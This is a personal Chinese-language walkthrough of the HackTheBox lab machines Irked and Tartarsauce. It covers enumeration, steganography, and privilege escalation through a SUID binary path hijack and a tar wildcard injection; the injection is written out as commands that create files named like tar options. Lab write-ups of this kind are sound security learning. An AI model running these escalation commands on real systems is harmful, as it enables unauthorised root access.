HTB-oscplike-Irked+Tartarsauce

HTB-oscplike-Irked+Tartarsauce

Irked

easy难度的lrked 靶机IP 10.10.10.117

sudo nmap -sC -sV -A -p- --min-rate=5000 -Pn 10.10.10.117

22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
36252/tcp open status 1 (RPC #100024)
65534/tcp open irc UnrealIRCd

常规的dirsearch wfuzz没看到什么有用的东西 80端口就个图片 其他端口也连不上
然后之后searchsploit unrealirc 找个脚本连上去
连上去拿flag是不够权限的 但在djmardov下有个.backup 里面藏了一个密码
UPupDOWNdownLRlrBAbaSSss 但是这个密码是干勾八用的呢 我找了半天没看出来
这里我翻了半天。。。这个故事告诉我们一定不要偷懒 尽量还是用 ls-la 看文件

最后看别人的walkthrough发现这也太捏麻抽象了 80端口那个图片是有隐写的
这是图片隐写的密码 这捏麻隔这CTF呢 下载那个图片下来
steghide --extract -sf irked.jpg 得到Kab6h+m+bbp2J:HG ssh连进去
拿到user的flag 4a66a78b12dc0e661a59d3f5c0267a8e

find / -perm -u=s -type f 2>/dev/null看到有个/usr/bin/viewuser
运行一下发现它执行了/tmp/listusers但是not found 那我们给他编一个不就完了
8d8e9e8be64654b6dccc3bff4522daf3

Tartarsauce

medium难度的tartarsauce 靶机IP 10.10.10.88

sudo nmap -sC -sV -A -p- --min-rate=5000 -Pn 10.10.10.88
就一个80 dirsearch扫出一个robots.txt 找到路径10.10.10.88/webservices/monstra-3.0.4/
但是经过一系列排除 这个好像是兔子洞 爆破/webservices发现了/webservices/wp 是wordpress
http://10.10.10.88/webservices/wp/wp-login.php可以登陆后台
wpscan --url http://10.10.10.88/webservices/wp -e p --plugins-detection aggressive
看到一个插件gwolle 但是searchsploit发现漏洞的版本是不一致的
这个地方非常抽象 因为这个版本是作者瞎编的 其实是存在漏洞的版本
拿exp直接nc弹回来 但是权限很低

sudo -l 看到可以用onuma执行tar 那么就tar提权
echo “/bin/bash” > shell.sh
echo “” > “–checkpoint-action=exec=sh shell.sh”
echo “” > --checkpoint=1
sudo -u onuma tar cf archive.tar *
拿到user的flag b2d6ec45472467c836f253bd170182c7

继续提权 执行linpeas看到
╔══════════╣ System timers
╚
NEXT LEFT LAST PASSED UNIT ACTIVATES
Fri 2022-04-01 05:31:27 EDT 4min 23s left Fri 2022-04-01 05:26:27 EDT 36s ago backuperer.timer backuperer.service

五分钟会执行一次backuperer.service
which backuperer
/usr/sbin/backuperer
分析这个文件可以看到

分析发现我们要在间隔的三十秒里用压缩包替换tmpfile 然后等check文件夹出来进去执行我们的shell
但这里有两个点要注意 一个是压缩包内需要有/var/www/html路径
另一个是这个文件需要是32位的 这里浪费了我很长时间 有点恶心
这一台提到root这块是真有点难
e79abdab8b8a4b64f8579a10b2cd09f9